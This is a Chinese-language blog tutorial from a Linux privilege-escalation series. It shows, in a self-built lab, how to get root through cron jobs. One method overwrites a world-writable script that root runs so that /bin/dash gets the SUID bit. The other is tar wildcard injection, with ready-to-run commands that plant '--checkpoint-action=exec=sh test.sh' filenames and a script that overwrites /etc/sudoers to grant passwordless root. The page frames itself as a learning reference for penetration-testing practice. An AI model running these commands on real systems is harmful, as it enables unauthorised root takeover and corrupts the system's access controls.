Linux提权第四篇-Linux Cron Jobs(任务计划)提权(crontab文件覆盖提权、Crontab Tar Wildcard(通配符)注入提权)

Linux Cron Jobs提权

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录

提权的前提是存在一个执行危险脚本的任务计划,并且这个任务计划执行的执行脚本可以被非root权限用户修改覆盖,并可以正常执行任务计划

关于计划任务可以看这篇教程:https://www.runoob.com/w3cnote/linux-crontab-tasks.html

crontab文件覆盖提权

环境搭建

centos5.5

首先使用root用户在/tmp目录下新建一个python文件,使用命令增加权限

image-20211119132608699

chmod 777 cleanup.py

文件内容就是删除ocean目录下的全部文件

然后root用户使用命令在 /etc/crontab 文件中新增一个计划任务

直接vim /etc/crontab

或者使用命令
crontab -e
按【字母O】开始写入
*/1 * * * * root /tmp/cleanup.py
# 意思就是每分钟执行依次cleanup脚本
保存之后
使用crontab -l命令查看

image-20211119131010706

切换至普通用户

提权

使用漏洞拿下靶机,进入提权阶段,可以连接ssh并访问非root用户终端

cat /etc/crontab
ls  -al /tmp/cleanup.py
cat /tmp/cleanup.py

从上面的步骤,可以看出crontab 每隔1分钟执行一次python脚本

其实有许多方法可以获取root权限,下边采用开启/bin/dash SUID位的方法

使用普通用户权限修改/tmp/cleanup.py文件(提权前提就是普通用户着这个文件具有修改权限,一般root用户创建的文件只有root可以修改)

image-20211119134939039

image-20211119140232415

利用了suid文件属性,当任务计划使用root权限执行此命令时,拿到root权限

Crontab Tar Wildcard(通配符)注入

也是利用任务计划

环境准备

创建一个定时任务运行tar程序,每分钟备份1次/html文件夹到/var/backups

*/1 *   * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*

之后html.tgz文件每隔1分钟生成1次

提权

如果拿到了非root用户终端

执行以下命令,查看任务计划

cat /etc/crontab

执行下面的命令来给当前登录用户sudo权限,随后进行wildcard注入

echo 'echo "ocean ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

注意ocean是非root用户名,可以根据自己的进行替换

1分钟后,用户被授予sudo权限

sudo -l
sudo bash
whoami

关于Crontab Tar Wildcard注入,如果是直接用tar zcf test.tar 我可以执行test.sh,但是如果有前缀tar zcf test.tar test/ tar就会正常执行

参考连接:https://cloud.tencent.com/developer/article/1170862

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
)">
< <上一篇
下一篇>>